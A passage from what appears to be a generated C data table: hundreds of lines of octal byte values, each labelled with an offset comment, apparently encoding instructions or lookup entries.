/* 18812 */ 0241,0202,011,0301,01,026,0120,0,
/* 18820 */ 0240,0202,011,0301,01,026,0110,0,
/* 18828 */ 0241,0202,025,0301,01,066,0120,0,
/* 18836 */ 0240,0202,025,0301,01,066,0110,0,
/* 18844 */ 0241,0202,031,0301,01,066,0120,0,
/* 18852 */ 0240,0202,031,0301,01,066,0110,0,
/* 18860 */ 0241,0202,01,0303,01,0175,0120,0,
/* 18868 */ 0241,0202,05,0303,01,0175,0120,0,
/* 18876 */ 0241,0202,011,0303,01,0175,0120,0,
/* 18884 */ 0241,0202,01,0301,01,0176,0120,0,
/* 18892 */ 0241,0202,05,0301,01,0176,0120,0,
/* 18900 */ 0241,0202,011,0301,01,0176,0120,0,
/* 18908 */ 0241,0202,021,0301,01,0177,0120,0,
/* 18916 */ 0241,0202,025,0301,01,0177,0120,0,
/* 18924 */ 0241,0202,031,0301,01,0177,0120,0,
/* 18932 */ 0241,0202,01,0301,01,0177,0120,0,
/* 18940 */ 0241,0202,05,0301,01,0177,0120,0,
/* 18948 */ 0241,0202,011,0301,01,0177,0120,0,
/* 18956 */ 0241,0202,021,0301,01,0176,0120,0,
/* 18964 */ 0241,0202,025,0301,01,0176,0120,0,
/* 18972 */ 0241,0202,031,0301,01,0176,0120,0,
/* 18980 */ 0241,0202,021,0303,01,0175,0120,0,
/* 18988 */ 0241,0202,025,0303,01,0175,0120,0,
/* 18996 */ 0241,0202,031,0303,01,0175,0120,0,
/* 19004 */ 0241,0202,021,0303,01,0215,0120,0,
/* 19012 */ 0240,0202,021,0303,01,0215,0110,0,
/* 19020 */ 0241,0202,025,0303,01,0215,0120,0,
/* 19028 */ 0240,0202,025,0303,01,0215,0110,0,
/* 19036 */ 0241,0202,031,0303,01,0215,0120,0,
/* 19044 */ 0240,0202,031,0303,01,0215,0110,0,
/* 19052 */ 0250,0202,01,0306,01,0211,0110,0,
/* 19060 */ 0250,0202,05,0306,01,0211,0110,0,
/* 19068 */ 0250,0202,011,0306,01,0211,0110,0,
/* 19076 */ 0250,0202,021,0306,01,0211,0110,0,
/* 19084 */ 0250,0202,025,0306,01,0211,0110,0,
/* 19092 */ 0250,0202,031,0306,01,0211,0110,0,
/* 19100 */ 0250,0202,01,0301,01,0104,0110,0,
/* 19108 */ 0250,0202,05,0301,01,0104,0110,0,
/* 19116 */ 0250,0202,011,0301,01,0104,0110,0,
/* 19124 */ 0250,0202,021,0301,01,0104,0110,0,
/* 19132 */ 0250,0202,025,0301,01,0104,0110,0,
/* 19140 */ 0250,0202,031,0301,01,0104,0110,0,
/* 19148 */ 0241,0202,021,0301,01,0265,0120,0,
/* 19156 */ 0241,0202,025,0301,01,0265,0120,0,
/* 19164 */ 0241,0202,031,0301,01,0265,0120,0,
/* 19172 */ 0241,0202,021,0301,01,0264,0120,0,
/* 19180 */ 0241,0202,025,0301,01,0264,0120,0,
/* 19188 */ 0241,0202,031,0301,01,0264,0120,0,
/* 19196 */ 0241,0202,041,0303,01,04,0120,0,
/* 19204 */ 0240,0202,041,0303,01,04,0110,0,
/* 19212 */ 0241,0202,045,0303,01,04,0120,0,
/* 19220 */ 0240,0202,045,0303,01,04,0110,0,
/* 19228 */ 0241,0202,051,0303,01,04,0120,0,
/* 19236 */ 0240,0202,051,0303,01,04,0110,0,
/* 19244 */ 0241,0201,041,0303,01,0365,0120,0,
/* 19252 */ 0240,0201,041,0303,01,0365,0110,0,
/* 19260 */ 0241,0201,045,0303,01,0365,0120,0,
/* 19268 */ 0240,0201,045,0303,01,0365,0110,0,
/* 19276 */ 0241,0201,051,0303,01,0365,0120,0,
/* 19284 */ 0240,0201,051,0303,01,0365,0110,0,
/* 19292 */ 0241,0202,041,0303,01,074,0120,0,
/* 19300 */ 0240,0202,041,0303,01,074,0110,0,
/* 19308 */ 0241,0202,045,0303,01,074,0120,0,
/* 19316 */ 0240,0202,045,0303,01,074,0110,0,
/* 19324 */ 0241,0202,051,0303,01,074,0120,0,
/* 19332 */ 0240,0202,051,0303,01,074,0110,0,
/* 19340 */ 0241,0202,01,0301,01,075,0120,0,
/* 19348 */ 0240,0202,01,0301,01,075,0110,0,
/* 19356 */ 0241,0202,05,0301,01,075,0120,0,
/* 19364 */ 0240,0202,05,0301,01,075,0110,0,
/* 19372 */ 0241,0202,011,0301,01,075,0120,0,
/* 19380 */ 0240,0202,011,0301,01,075,0110,0,
/* 19388 */ 0241,0202,021,0301,01,075,0120,0,
/* 19396 */ 0240,0202,021,0301,01,075,0110,0,
/* 19404 */ 0241,0202,025,0301,01,075,0120,0,
/* 19412 */ 0240,0202,025,0301,01,075,0110,0,
/* 19420 */ 0241,0202,031,0301,01,075,0120,0,
/* 19428 */ 0240,0202,031,0301,01,075,0110,0,
/* 19436 */ 0241,0201,041,0303,01,0356,0120,0,
/* 19444 */ 0240,0201,041,0303,01,0356,0110,0,
/* 19452 */ 0241,0201,045,0303,01,0356,0120,0,
/* 19460 */ 0240,0201,045,0303,01,0356,0110,0,
/* 19468 */ 0241,0201,051,0303,01,0356,0120,0,
/* 19476 */ 0240,0201,051,0303,01,0356,0110,0,
/* 19484 */ 0241,0201,041,0303,01,0336,0120,0,
/* 19492 */ 0240,0201,041,0303,01,0336,0110,0,
/* 19500 */ 0241,0201,045,0303,01,0336,0120,0,
/* 19508 */ 0240,0201,045,0303,01,0336,0110,0,
/* 19516 */ 0241,0201,051,0303,01,0336,0120,0,
/* 19524 */ 0240,0201,051,0303,01,0336,0110,0,
/* 19532 */ 0241,0202,01,0301,01,077,0120,0,
/* 19540 */ 0240,0202,01,0301,01,077,0110,0,
/* 19548 */ 0241,0202,05,0301,01,077,0120,0,
/* 19556 */ 0240,0202,05,0301,01,077,0110,0,
/* 19564 */ 0241,0202,011,0301,01,077,0120,0,
/* 19572 */ 0240,0202,011,0301,01,077,0110,0,
/* 19580 */ 0241,0202,021,0301,01,077,0120,0,
/* 19588 */ 0240,0202,021,0301,01,077,0110,0,
/* 19596 */ 0241,0202,025,0301,01,077,0120,0,
/* 19604 */ 0240,0202,025,0301,01,077,0110,0,
/* 19612 */ 0241,0202,031,0301,01,077,0120,0,
/* 19620 */ 0240,0202,031,0301,01,077,0110,0,
/* 19628 */ 0241,0202,041,0303,01,076,0120,0,
/* 19636 */ 0240,0202,041,0303,01,076,0110,0,
/* 19644 */ 0241,0202,045,0303,01,076,0120,0,
/* 19652 */ 0240,0202,045,0303,01,076,0110,0,
/* 19660 */ 0241,0202,051,0303,01,076,0120,0,
/* 19668 */ 0240,0202,051,0303,01,076,0110,0,
/* 19676 */ 0241,0202,041,0303,01,070,0120,0,
/* 19684 */ 0240,0202,041,0303,01,070,0110,0,
/* 19692 */ 0241,0202,045,0303,01,070,0120,0,
/* 19700 */ 0240,0202,045,0303,01,070,0110,0,
/* 19708 */ 0241,0202,051,0303,01,070,0120,0,
/* 19716 */ 0240,0202,051,0303,01,070,0110,0,
/* 19724 */ 0241,0202,01,0301,01,071,0120,0,
/* 19732 */ 0240,0202,01,0301,01,071,0110,0,
/* 19740 */ 0241,0202,05,0301,01,071,0120,0,
/* 19748 */ 0240,0202,05,0301,01,071,0110,0,
/* 19756 */ 0241,0202,011,0301,01,071,0120,0,
/* 19764 */ 0240,0202,011,0301,01,071,0110,0,
/* 19772 */ 0241,0202,021,0301,01,071,0120,0,
/* 19780 */ 0240,0202,021,0301,01,071,0110,0,
/* 19788 */ 0241,0202,025,0301,01,071,0120,0,
/* 19796 */ 0240,0202,025,0301,01,071,0110,0,
/* 19804 */ 0241,0202,031,0301,01,071,0120,0,
/* 19812 */ 0240,0202,031,0301,01,071,0110,0,
/* 19820 */ 0241,0201,041,0303,01,0352,0120,0,
/* 19828 */ 0240,0201,041,0303,01,0352,0110,0,
/* 19836 */ 0241,0201,045,0303,01,0352,0120,0,
/* 19844 */ 0240,0201,045,0303,01,0352,0110,0,
/* 19852 */ 0241,0201,051,0303,01,0352,0120,0,
/* 19860 */ 0240,0201,051,0303,01,0352,0110,0,
/* 19868 */ 0241,0201,041,0303,01,0332,0120,0,
/* 19876 */ 0240,0201,041,0303,01,0332,0110,0,
/* 19884 */ 0241,0201,045,0303,01,0332,0120,0,
/* 19892 */ 0240,0201,045,0303,01,0332,0110,0,
/* 19900 */ 0241,0201,051,0303,01,0332,0120,0,
/* 19908 */ 0240,0201,051,0303,01,0332,0110,0,
/* 19916 */ 0241,0202,01,0301,01,073,0120,0,
/* 19924 */ 0240,0202,01,0301,01,073,0110,0,
/* 19932 */ 0241,0202,05,0301,01,073,0120,0,
/* 19940 */ 0240,0202,05,0301,01,073,0110,0,
/* 19948 */ 0241,0202,011,0301,01,073,0120,0,
/* 19956 */ 0240,0202,011,0301,01,073,0110,0,
/* 19964 */ 0241,0202,021,0301,01,073,0120,0,
/* 19972 */ 0240,0202,021,0301,01,073,0110,0,
/* 19980 */ 0241,0202,025,0301,01,073,0120,0,
/* 19988 */ 0240,0202,025,0301,01,073,0110,0,
/* 19996 */ 0241,0202,031,0301,01,073,0120,0,
/* 20004 */ 0240,0202,031,0301,01,073,0110,0,
/* 20012 */ 0241,0202,041,0303,01,072,0120,0,
/* 20020 */ 0240,0202,041,0303,01,072,0110,0,
/* 20028 */ 0241,0202,045,0303,01,072,0120,0,
/* 20036 */ 0240,0202,045,0303,01,072,0110,0,
/* 20044 */ 0241,0202,051,0303,01,072,0120,0,
/* 20052 */ 0240,0202,051,0303,01,072,0110,0,
/* 20060 */ 0250,0202,02,0300,01,051,0110,0,
/* 20068 */ 0250,0202,06,0300,01,051,0110,0,
/* 20076 */ 0250,0202,012,0300,01,051,0110,0,
/* 20084 */ 0250,0202,02,0300,01,071,0110,0,
/* 20092 */ 0250,0202,06,0300,01,071,0110,0,
/* 20100 */ 0250,0202,012,0300,01,071,0110,0,
/* 20108 */ 0250,0202,02,0300,01,061,0101,0,
/* 20116 */ 0250,0202,06,0300,01,061,0101,0,
/* 20124 */ 0250,0202,012,0300,01,061,0101,0,
/* 20132 */ 0250,0202,02,0315,01,061,0101,0,
/* 20140 */ 0250,0202,06,0315,01,061,0101,0,
/* 20148 */ 0250,0202,012,0315,01,061,0101,0,
/* 20156 */ 0250,0202,02,0300,01,063,0101,0,
/* 20164 */ 0250,0202,06,0300,01,063,0101,0,
/* 20172 */ 0250,0202,012,0300,01,063,0101,0,
/* 20180 */ 0250,0202,02,0314,01,063,0101,0,
/* 20188 */ 0250,0202,06,0314,01,063,0101,0,
/* 20196 */ 0250,0202,012,0314,01,063,0101,0,
/* 20204 */ 0250,0202,02,0300,01,050,0110,0,
/* 20212 */ 0250,0202,06,0300,01,050,0110,0,
/* 20220 */ 0250,0202,012,0300,01,050,0110,0,
/* 20228 */ 0250,0202,02,0300,01,070,0110,0,
/* 20236 */ 0250,0202,06,0300,01,070,0110,0,
/* 20244 */ 0250,0202,012,0300,01,070,0110,0,
/* 20252 */ 0250,0202,022,0300,01,070,0110,0,
/* 20260 */ 0250,0202,026,0300,01,070,0110,0,
/* 20268 */ 0250,0202,032,0300,01,070,0110,0,
/* 20276 */ 0250,0202,022,0300,01,050,0110,0,
/* 20284 */ 0250,0202,026,0300,01,050,0110,0,
/* 20292 */ 0250,0202,032,0300,01,050,0110,0,
/* 20300 */ 0250,0202,022,0300,01,071,0110,0,
/* 20308 */ 0250,0202,026,0300,01,071,0110,0,
/* 20316 */ 0250,0202,032,0300,01,071,0110,0,
/* 20324 */ 0250,0202,02,0300,01,062,0101,0,
/* 20332 */ 0250,0202,06,0300,01,062,0101,0,
/* 20340 */ 0250,0202,012,0300,01,062,0101,0,
/* 20348 */ 0250,0202,02,0316,01,062,0101,0,
/* 20356 */ 0250,0202,06,0316,01,062,0101,0,
/* 20364 */ 0250,0202,012,0316,01,062,0101,0,
/* 20372 */ 0250,0202,02,0300,01,065,0101,0,
/* 20380 */ 0250,0202,06,0300,01,065,0101,0,
/* 20388 */ 0250,0202,012,0300,01,065,0101,0,
/* 20396 */ 0250,0202,02,0314,01,065,0101,0,
/* 20404 */ 0250,0202,06,0314,01,065,0101,0,
/* 20412 */ 0250,0202,012,0314,01,065,0101,0,
/* 20420 */ 0250,0202,02,0300,01,064,0101,0,
/* 20428 */ 0250,0202,06,0300,01,064,0101,0,
/* 20436 */ 0250,0202,012,0300,01,064,0101,0,
/* 20444 */ 0250,0202,02,0315,01,064,0101,0,
/* 20452 */ 0250,0202,06,0315,01,064,0101,0,
/* 20460 */ 0250,0202,012,0315,01,064,0101,0,
/* 20468 */ 0250,0202,02,0300,01,041,0101,0,
/* 20476 */ 0250,0202,06,0300,01,041,0101,0,
/* 20484 */ 0250,0202,012,0300,01,041,0101,0,
/* 20492 */ 0250,0202,02,0315,01,041,0101,0,
/* 20500 */ 0250,0202,06,0315,01,041,0101,0,
/* 20508 */ 0250,0202,012,0315,01,041,0101,0,
/* 20516 */ 0250,0202,02,0300,01,043,0101,0,
/* 20524 */ 0250,0202,06,0300,01,043,0101,0,
/* 20532 */ 0250,0202,012,0300,01,043,0101,0,
/* 20540 */ 0250,0202,02,0314,01,043,0101,0,
/* 20548 */ 0250,0202,06,0314,01,043,0101,0,
/* 20556 */ 0250,0202,012,0314,01,043,0101,0,
/* 20564 */ 0250,0202,02,0300,01,042,0101,0,
/* 20572 */ 0250,0202,06,0300,01,042,0101,0,
/* 20580 */ 0250,0202,012,0300,01,042,0101,0,
/* 20588 */ 0250,0202,02,0316,01,042,0101,0,
/* 20596 */ 0250,0202,06,0316,01,042,0101,0,
/* 20604 */ 0250,0202,012,0316,01,042,0101,0,
/* 20612 */ 0250,0202,02,0300,01,045,0101,0,
/* 20620 */ 0250,0202,06,0300,01,045,0101,0,
/* 20628 */ 0250,0202,012,0300,01,045,0101,0,
/* 20636 */ 0250,0202,02,0314,01,045,0101,0,
/* 20644 */ 0250,0202,06,0314,01,045,0101,0,
/* 20652 */ 0250,0202,012,0314,01,045,0101,0,
/* 20660 */ 0250,0202,02,0300,01,044,0101,0,
/* 20668 */ 0250,0202,06,0300,01,044,0101,0,
/* 20676 */ 0250,0202,012,0300,01,044,0101,0,
/* 20684 */ 0250,0202,02,0315,01,044,0101,0,
/* 20692 */ 0250,0202,06,0315,01,044,0101,0,
/* 20700 */ 0250,0202,012,0315,01,044,0101,0,
/* 20708 */ 0250,0202,02,0300,01,040,0101,0,
/* 20716 */ 0250,0202,06,0300,01,040,0101,0,
/* 20724 */ 0250,0202,012,0300,01,040,0101,0,
/* 20732 */ 0250,0202,02,0314,01,040,0101,0,
/* 20740 */ 0250,0202,06,0314,01,040,0101,0,
/* 20748 */ 0250,0202,012,0314,01,040,0101,0,
/* 20756 */ 0250,0202,041,0315,01,041,0110,0,
/* 20764 */ 0250,0202,045,0315,01,041,0110,0,
/* 20772 */ 0250,0202,051,0315,01,041,0110,0,
/* 20780 */ 0250,0202,041,0316,01,042,0110,0,
/* 20788 */ 0250,0202,045,0316,01,042,0110,0,
/* 20796 */ 0250,0202,051,0316,01,042,0110,0,
/* 20804 */ 0250,0202,041,0314,01,040,0110,0,
/* 20812 */ 0250,0202,045,0314,01,040,0110,0,
/* 20820 */ 0250,0202,051,0314,01,040,0110,0,
/* 20828 */ 0250,0202,01,0314,01,045,0110,0,
/* 20836 */ 0250,0202,05,0314,01,045,0110,0,
/* 20844 */ 0250,0202,011,0314,01,045,0110,0,
/* 20852 */ 0250,0202,041,0314,01,043,0110,0,
/* 20860 */ 0250,0202,045,0314,01,043,0110,0,
/* 20868 */ 0250,0202,051,0314,01,043,0110,0,
/* 20876 */ 0250,0202,041,0315,01,044,0110,0,
/* 20884 */ 0250,0202,045,0315,01,044,0110,0,
/* 20892 */ 0250,0202,051,0315,01,044,0110,0,
/* 20900 */ 0250,0202,02,0300,01,021,0101,0,
/* 20908 */ 0250,0202,06,0300,01,021,0101,0,
/* 20916 */ 0250,0202,012,0300,01,021,0101,0,
/* 20924 */ 0250,0202,02,0315,01,021,0101,0,
/* 20932 */ 0250,0202,06,0315,01,021,0101,0,
/* 20940 */ 0250,0202,012,0315,01,021,0101,0,
/* 20948 */ 0250,0202,02,0300,01,023,0101,0,
/* 20956 */ 0250,0202,06,0300,01,023,0101,0,
/* 20964 */ 0250,0202,012,0300,01,023,0101,0,
/* 20972 */ 0250,0202,02,0314,01,023,0101,0,
/* 20980 */ 0250,0202,06,0314,01,023,0101,0,
/* 20988 */ 0250,0202,012,0314,01,023,0101,0,
/* 20996 */ 0250,0202,02,0300,01,022,0101,0,
/* 21004 */ 0250,0202,06,0300,01,022,0101,0,
/* 21012 */ 0250,0202,012,0300,01,022,0101,0,
/* 21020 */ 0250,0202,02,0316,01,022,0101,0,
/* 21028 */ 0250,0202,06,0316,01,022,0101,0,
/* 21036 */ 0250,0202,012,0316,01,022,0101,0,
/* 21044 */ 0250,0202,02,0300,01,025,0101,0,
/* 21052 */ 0250,0202,06,0300,01,025,0101,0,
/* 21060 */ 0250,0202,012,0300,01,025,0101,0,
/* 21068 */ 0250,0202,02,0314,01,025,0101,0,
/* 21076 */ 0250,0202,06,0314,01,025,0101,0,
/* 21084 */ 0250,0202,012,0314,01,025,0101,0,
/* 21092 */ 0250,0202,02,0300,01,024,0101,0,
/* 21100 */ 0250,0202,06,0300,01,024,0101,0,
/* 21108 */ 0250,0202,012,0300,01,024,0101,0,
/* 21116 */ 0250,0202,02,0315,01,024,0101,0,
/* 21124 */ 0250,0202,06,0315,01,024,0101,0,
/* 21132 */ 0250,0202,012,0315,01,024,0101,0,
/* 21140 */ 0250,0202,02,0300,01,020,0101,0,
/* 21148 */ 0250,0202,06,0300,01,020,0101,0,
/* 21156 */ 0250,0202,012,0300,01,020,0101,0,
/* 21164 */ 0250,0202,02,0314,01,020,0101,0,
/* 21172 */ 0250,0202,06,0314,01,020,0101,0,
/* 21180 */ 0250,0202,012,0314,01,020,0101,0,
/* 21188 */ 0250,0202,022,0300,01,051,0110,0,
/* 21196 */ 0250,0202,026,0300,01,051,0110,0,
/* 21204 */ 0250,0202,032,0300,01,051,0110,0,
/* 21212 */ 0250,0202,02,0300,01,060,0101,0,
/* 21220 */ 0250,0202,06,0300,01,060,0101,0,
/* 21228 */ 0250,0202,012,0300,01,060,0101,0,
/* 21236 */ 0250,0202,02,0314,01,060,0101,0,
/* 21244 */ 0250,0202,06,0314,01,060,0101,0,
/* 21252 */ 0250,0202,012,0314,01,060,0101,0,
/* 21260 */ 0250,0202,041,0315,01,061,0110,0,
/* 21268 */ 0250,0202,045,0315,01,061,0110,0,
/* 21276 */ 0250,0202,051,0315,01,061,0110,0,
/* 21284 */ 0250,0202,041,0316,01,062,0110,0,
/* 21292 */ 0250,0202,045,0316,01,062,0110,0,
/* 21300 */ 0250,0202,051,0316,01,062,0110,0,
/* 21308 */ 0250,0202,041,0314,01,060,0110,0,
/* 21316 */ 0250,0202,045,0314,01,060,0110,0,
/* 21324 */ 0250,0202,051,0314,01,060,0110,0,
/* 21332 */ 0250,0202,01,0314,01,065,0110,0,
/* 21340 */ 0250,0202,05,0314,01,065,0110,0,
/* 21348 */ 0250,0202,011,0314,01,065,0110,0,
/* 21356 */ 0250,0202,041,0314,01,063,0110,0,
/* 21364 */ 0250,0202,045,0314,01,063,0110,0,
/* 21372 */ 0250,0202,051,0314,01,063,0110,0,
/* 21380 */ 0250,0202,041,0315,01,064,0110,0,
/* 21388 */ 0250,0202,045,0315,01,064,0110,0,
/* 21396 */ 0250,0202,051,0315,01,064,0110,0,
/* 21404 */ 0241,0202,021,0301,01,050,0120,0,
/* 21412 */ 0240,0202,021,0301,01,050,0110,0,
/* 21420 */ 0241,0202,025,0301,01,050,0120,0,
/* 21428 */ 0240,0202,025,0301,01,050,0110,0,
/* 21436 */ 0241,0202,031,0301,01,050,0120,0,
/* 21444 */ 0240,0202,031,0301,01,050,0110,0,
/* 21452 */ 0241,0202,041,0303,01,013,0120,0,
/* 21460 */ 0240,0202,041,0303,01,013,0110,0,
/* 21468 */ 0241,0202,045,0303,01,013,0120,0,
/* 21476 */ 0240,0202,045,0303,01,013,0110,0,
/* 21484 */ 0241,0202,051,0303,01,013,0120,0,
/* 21492 */ 0240,0202,051,0303,01,013,0110,0,
/* 21500 */ 0241,0201,041,0303,01,0344,0120,0,
/* 21508 */ 0240,0201,041,0303,01,0344,0110,0,
/* 21516 */ 0241,0201,045,0303,01,0344,0120,0,
/* 21524 */ 0240,0201,045,0303,01,0344,0110,0,
/* 21532 */ 0241,0201,051,0303,01,0344,0120,0,
/* 21540 */ 0240,0201,051,0303,01,0344,0110,0,
/* 21548 */ 0241,0201,041,0303,01,0345,0120,0,
/* 21556 */ 0240,0201,041,0303,01,0345,0110,0,
/* 21564 */ 0241,0201,045,0303,01,0345,0120,0,
/* 21572 */ 0240,0201,045,0303,01,0345,0110,0,
/* 21580 */ 0241,0201,051,0303,01,0345,0120,0,
/* 21588 */ 0240,0201,051,0303,01,0345,0110,0,
/* 21596 */ 0241,0202,01,0301,01,0100,0120,0,
/* 21604 */ 0240,0202,01,0301,01,0100,0110,0,
/* 21612 */ 0241,0202,05,0301,01,0100,0120,0,
/* 21620 */ 0240,0202,05,0301,01,0100,0110,0,
/* 21628 */ 0241,0202,011,0301,01,0100,0120,0,
/* 21636 */ 0240,0202,011,0301,01,0100,0110,0,
/* 21644 */ 0241,0202,021,0301,01,0100,0120,0,
/* 21652 */ 0240,0202,021,0301,01,0100,0110,0,
/* 21660 */ 0241,0202,025,0301,01,0100,0120,0,
/* 21668 */ 0240,0202,025,0301,01,0100,0110,0,
/* 21676 */ 0241,0202,031,0301,01,0100,0120,0,
/* 21684 */ 0240,0202,031,0301,01,0100,0110,0,
/* 21692 */ 0241,0201,041,0303,01,0325,0120,0,
/* 21700 */ 0240,0201,041,0303,01,0325,0110,0,
/* 21708 */ 0241,0201,045,0303,01,0325,0120,0,
/* 21716 */ 0240,0201,045,0303,01,0325,0110,0,
/* 21724 */ 0241,0201,051,0303,01,0325,0120,0,
/* 21732 */ 0240,0201,051,0303,01,0325,0110,0,
/* 21740 */ 0241,0202,021,0301,01,0203,0120,0,
/* 21748 */ 0240,0202,021,0301,01,0203,0110,0,
/* 21756 */ 0241,0202,025,0301,01,0203,0120,0,
/* 21764 */ 0240,0202,025,0301,01,0203,0110,0,
/* 21772 */ 0241,0202,031,0301,01,0203,0120,0,
/* 21780 */ 0240,0202,031,0301,01,0203,0110,0,
/* 21788 */ 0241,0201,021,0301,01,0364,0120,0,
/* 21796 */ 0240,0201,021,0301,01,0364,0110,0,
/* 21804 */ 0241,0201,025,0301,01,0364,0120,0,
/* 21812 */ 0240,0201,025,0301,01,0364,0110,0,
/* 21820 */ 0241,0201,031,0301,01,0364,0120,0,
/* 21828 */ 0240,0201,031,0301,01,0364,0110,0,
/* 21836 */ 0241,0201,01,0301,01,0353,0120,0,
/* 21844 */ 0240,0201,01,0301,01,0353,0110,0,
/* 21852 */ 0241,0201,05,0301,01,0353,0120,0,
/* 21860 */ 0240,0201,05,0301,01,0353,0110,0,
/* 21868 */ 0241,0201,011,0301,01,0353,0120,0,
/* 21876 */ 0240,0201,011,0301,01,0353,0110,0,
/* 21884 */ 0241,0201,021,0301,01,0353,0120,0,
/* 21892 */ 0240,0201,021,0301,01,0353,0110,0,
/* 21900 */ 0241,0201,025,0301,01,0353,0120,0,
/* 21908 */ 0240,0201,025,0301,01,0353,0110,0,
/* 21916 */ 0241,0201,031,0301,01,0353,0120,0,
/* 21924 */ 0240,0201,031,0301,01,0353,0110,0,
/* 21932 */ 0241,0202,01,0301,01,025,0120,0,
/* 21940 */ 0240,0202,01,0301,01,025,0110,0,
/* 21948 */ 0241,0202,05,0301,01,025,0120,0,
/* 21956 */ 0240,0202,05,0301,01,025,0110,0,
/* 21964 */ 0241,0202,011,0301,01,025,0120,0,
/* 21972 */ 0240,0202,011,0301,01,025,0110,0,
/* 21980 */ 0241,0202,021,0301,01,025,0120,0,
/* 21988 */ 0240,0202,021,0301,01,025,0110,0,
/* 21996 */ 0241,0202,025,0301,01,025,0120,0,
/* 22004 */ 0240,0202,025,0301,01,025,0110,0,
/* 22012 */ 0241,0202,031,0301,01,025,0120,0,
/* 22020 */ 0240,0202,031,0301,01,025,0110,0,
/* 22028 */ 0241,0202,01,0301,01,024,0120,0,
/* 22036 */ 0240,0202,01,0301,01,024,0110,0,
/* 22044 */ 0241,0202,05,0301,01,024,0120,0,
/* 22052 */ 0240,0202,05,0301,01,024,0110,0,
/* 22060 */ 0241,0202,011,0301,01,024,0120,0,
/* 22068 */ 0240,0202,011,0301,01,024,0110,0,
/* 22076 */ 0241,0202,021,0301,01,024,0120,0,
/* 22084 */ 0240,0202,021,0301,01,024,0110,0,
/* 22092 */ 0241,0202,025,0301,01,024,0120,0,
/* 22100 */ 0240,0202,025,0301,01,024,0110,0,
/* 22108 */ 0241,0202,031,0301,01,024,0120,0,
/* 22116 */ 0240,0202,031,0301,01,024,0110,0,
/* 22124 */ 0241,0201,041,0303,01,0366,0120,0,
/* 22132 */ 0240,0201,041,0303,01,0366,0110,0,
/* 22140 */ 0241,0201,045,0303,01,0366,0120,0,
/* 22148 */ 0240,0201,045,0303,01,0366,0110,0,
/* 22156 */ 0241,0201,051,0303,01,0366,0120,0,
/* 22164 */ 0240,0201,051,0303,01,0366,0110,0,
/* 22172 */ 0241,0202,041,0303,01,0,0120,0,
/* 22180 */ 0240,0202,041,0303,01,0,0110,0,
/* 22188 */ 0241,0202,045,0303,01,0,0120,0,
/* 22196 */ 0240,0202,045,0303,01,0,0110,0,
/* 22204 */ 0241,0202,051,0303,01,0,0120,0,
/* 22212 */ 0240,0202,051,0303,01,0,0110,0,
/* 22220 */ 0241,0201,01,0317,01,0362,0120,0,
/* 22228 */ 0240,0201,01,0317,01,0362,0110,0,
/* 22236 */ 0241,0201,05,0317,01,0362,0120,0,
/* 22244 */ 0240,0201,05,0317,01,0362,0110,0,
/* 22252 */ 0241,0201,011,0317,01,0362,0120,0,
/* 22260 */ 0240,0201,011,0317,01,0362,0110,0,
/* 22268 */ 0241,0201,021,0317,01,0363,0120,0,
/* 22276 */ 0240,0201,021,0317,01,0363,0110,0,
/* 22284 */ 0241,0201,025,0317,01,0363,0120,0,
/* 22292 */ 0240,0201,025,0317,01,0363,0110,0,
/* 22300 */ 0241,0201,031,0317,01,0363,0120,0,
/* 22308 */ 0240,0201,031,0317,01,0363,0110,0,
/* 22316 */ 0241,0202,01,0301,01,0107,0120,0,
/* 22324 */ 0240,0202,01,0301,01,0107,0110,0,
/* 22332 */ 0241,0202,05,0301,01,0107,0120,0,
/* 22340 */ 0240,0202,05,0301,01,0107,0110,0,
/* 22348 */ 0241,0202,011,0301,01,0107,0120,0,
/* 22356 */ 0240,0202,011,0301,01,0107,0110,0,
/* 22364 */ 0241,0202,021,0301,01,0107,0120,0,
/* 22372 */ 0240,0202,021,0301,01,0107,0110,0,
/* 22380 */ 0241,0202,025,0301,01,0107,0120,0,
/* 22388 */ 0240,0202,025,0301,01,0107,0110,0,
/* 22396 */ 0241,0202,031,0301,01,0107,0120,0,
/* 22404 */ 0240,0202,031,0301,01,0107,0110,0,
/* 22412 */ 0241,0202,021,0303,01,022,0120,0,
/* 22420 */ 0240,0202,021,0303,01,022,0110,0,
/* 22428 */ 0241,0202,025,0303,01,022,0120,0,
/* 22436 */ 0240,0202,025,0303,01,022,0110,0,
/* 22444 */ 0241,0202,031,0303,01,022,0120,0,
/* 22452 */ 0240,0202,031,0303,01,022,0110,0,
/* 22460 */ 0241,0201,041,0317,01,0361,0120,0,
/* 22468 */ 0240,0201,041,0317,01,0361,0110,0,
/* 22476 */ 0241,0201,045,0317,01,0361,0120,0,
/* 22484 */ 0240,0201,045,0317,01,0361,0110,0,
/* 22492 */ 0241,0201,051,0317,01,0361,0120,0,
/* 22500 */ 0240,0201,051,0317,01,0361,0110,0,
/* 22508 */ 0241,0201,01,0317,01,0342,0120,0,
/* 22516 */ 0240,0201,01,0317,01,0342,0110,0,
/* 22524 */ 0241,0201,05,0317,01,0342,0120,0,
/* 22532 */ 0240,0201,05,0317,01,0342,0110,0,
/* 22540 */ 0241,0201,011,0317,01,0342,0120,0,
/* 22548 */ 0240,0201,011,0317,01,0342,0110,0,
/* 22556 */ 0241,0201,021,0317,01,0342,0120,0,
/* 22564 */ 0240,0201,021,0317,01,0342,0110,0,
/* 22572 */ 0241,0201,025,0317,01,0342,0120,0,
/* 22580 */ 0240,0201,025,0317,01,0342,0110,0,
/* 22588 */ 0241,0201,031,0317,01,0342,0120,0,
/* 22596 */ 0240,0201,031,0317,01,0342,0110,0,
/* 22604 */ 0241,0202,01,0301,01,0106,0120,0,
/* 22612 */ 0240,0202,01,0301,01,0106,0110,0,
/* 22620 */ 0241,0202,05,0301,01,0106,0120,0,
/* 22628 */ 0240,0202,05,0301,01,0106,0110,0,
/* 22636 */ 0241,0202,011,0301,01,0106,0120,0,
/* 22644 */ 0240,0202,011,0301,01,0106,0110,0,
/* 22652 */ 0241,0202,021,0301,01,0106,0120,0,
/* 22660 */ 0240,0202,021,0301,01,0106,0110,0,
/* 22668 */ 0241,0202,025,0301,01,0106,0120,0,
/* 22676 */ 0240,0202,025,0301,01,0106,0110,0,
/* 22684 */ 0241,0202,031,0301,01,0106,0120,0,
/* 22692 */ 0240,0202,031,0301,01,0106,0110,0,
/* 22700 */ 0241,0202,021,0303,01,021,0120,0,
/* 22708 */ 0240,0202,021,0303,01,021,0110,0,
/* 22716 */ 0241,0202,025,0303,01,021,0120,0,
/* 22724 */ 0240,0202,025,0303,01,021,0110,0,
/* 22732 */ 0241,0202,031,0303,01,021,0120,0,
/* 22740 */ 0240,0202,031,0303,01,021,0110,0,
/* 22748 */ 0241,0201,041,0317,01,0341,0120,0,
